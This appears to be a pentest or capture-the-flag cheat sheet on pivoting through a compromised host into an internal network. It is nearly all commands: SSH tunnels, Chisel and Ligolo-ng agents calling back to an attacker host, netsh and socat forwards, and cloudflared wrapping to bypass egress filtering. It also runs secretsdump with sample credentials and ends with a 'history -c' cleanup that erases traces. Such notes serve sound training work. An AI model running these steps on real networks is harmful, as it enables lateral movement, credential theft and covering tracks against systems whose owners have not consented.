Pivoting

Sections Pivoting

Reach the next network segment from your foothold. Pick the tool by what the target allows outbound.

LHOST=10.10.14.1            ## attacker
PIVOT=10.10.11.50           ## compromised host
INTERNAL=172.16.5.0/24      ## target segment

i. Quick decision

  • SSH on the pivot, you have creds, only SSH allowed out -> ii. SSH tunnels
  • Arbitrary TCP allowed out, you control both ends -> iii. Chisel
  • Need full L3 access (ICMP, UDP, scanning works as if local) -> iv. Ligolo-ng
  • Only HTTPS allowed outbound -> vi. Tunnel over HTTPS
  • Pivot is Windows, no extra binaries allowed -> netsh portproxy + SSH

ii. SSH tunnels

Local forward, expose a remote port on your loopback:

ssh -L 9000:172.16.5.10:445 user@$PIVOT
## Now hit 127.0.0.1:9000 on attacker, traffic exits the pivot to 172.16.5.10:445

Remote forward, expose your loopback to the pivot:

ssh -R 9000:127.0.0.1:80 user@$PIVOT
## Pivot can now hit 127.0.0.1:9000 and reach your local web server

Dynamic forward, SOCKS proxy:

ssh -D 1080 user@$PIVOT
## Then on attacker
proxychains -q nmap -sT -Pn 172.16.5.0/24
curl --socks5-hostname 127.0.0.1:1080 http://172.16.5.10

ProxyJump for multi-hop, no shell on the intermediate boxes:

ssh -J user1@10.10.11.50,user2@172.16.5.5 user3@10.0.0.99
## End-to-end encrypted, no creds exposed to intermediate hops

~/.ssh/config so the chain is one short alias:

Host pivot
    HostName 10.10.11.50
    User pwn
Host internal
    HostName 172.16.5.5
    User pwn
    ProxyJump pivot

iii. Chisel

TCP-based, easiest reverse SOCKS, works on Linux and Windows.

Server on attacker:

./chisel server -p 8000 --reverse

Client on pivot, reverse SOCKS:

## Linux
./chisel client 10.10.14.1:8000 R:socks
## Windows
.\chisel.exe client 10.10.14.1:8000 R:socks
## SOCKS now listens on attacker's 127.0.0.1:1080

Reverse single-port forward, no SOCKS overhead:

./chisel client 10.10.14.1:8000 R:9000:172.16.5.10:445
## Attacker's 127.0.0.1:9000 reaches the internal SMB host

iv. Ligolo-ng

TUN interface on attacker, full L3 access, faster than chisel, no proxychains needed.

Attacker:

sudo ip tuntap add user $USER mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert
## In ligolo prompt:
session
## Pick session, then:
start
## Add route from attacker to internal range:
sudo ip route add 172.16.5.0/24 dev ligolo

Agent on pivot:

## Linux
./agent -connect 10.10.14.1:11601 -ignore-cert
## Windows
.\agent.exe -connect 10.10.14.1:11601 -ignore-cert

After start, every tool on attacker (nmap, nxc, ssh) routes to the internal range with no proxychains.

Agent-side listener

Need the pivot to expose a port back to attacker side? Use ligolo’s listener_add to bind on the agent and forward to attacker, useful for relaying NTLM auth back through the tunnel.

v. Pure TCP forwards

socat one-shot port forward, no extra tooling:

## On pivot, forward pivot:9000 -> 172.16.5.10:445
socat TCP-LISTEN:9000,fork,reuseaddr TCP:172.16.5.10:445

Windows netsh, built-in:

netsh interface portproxy add v4tov4 listenport=9000 listenaddress=0.0.0.0 connectport=445 connectaddress=172.16.5.10
netsh interface portproxy show all
netsh interface portproxy delete v4tov4 listenport=9000 listenaddress=0.0.0.0

vi. Tunnel over HTTPS

When outbound is HTTPS only. Wrap chisel or ligolo in cloudflared.

## Attacker
chisel server -p 8000 --reverse &
cloudflared tunnel --url tcp://localhost:8000 --no-autoupdate
## cloudflared prints a https://random.trycloudflare.com URL
## Pivot
cloudflared access tcp --hostname random.trycloudflare.com --url localhost:8000 &
./chisel client 127.0.0.1:8000 R:socks

See THC’s iq article for the gost + cloudflared pattern.

vii. ProxyChains config

/etc/proxychains.conf (or ~/.proxychains/proxychains.conf):

strict_chain
proxy_dns
[ProxyList]
socks5 127.0.0.1 1080

Run any tool through it:

proxychains -q nxc smb 172.16.5.0/24 -u admin -p 'Password1'
proxychains -q nmap -sT -Pn -n -p445,3389 172.16.5.0/24
proxychains -q impacket-secretsdump admin:'Password1'@172.16.5.10
ProxyChains and ICMP

ProxyChains tunnels TCP only. nmap host discovery (-PE, ARP, ICMP) does not work through it. Always use -Pn -sT over SOCKS. Use ligolo if you need real ICMP or UDP.

viii. Cleanup

## Attacker
sudo ip route del 172.16.5.0/24
sudo ip link del ligolo
pkill chisel
## Pivot
rm -f /tmp/chisel /tmp/agent
history -c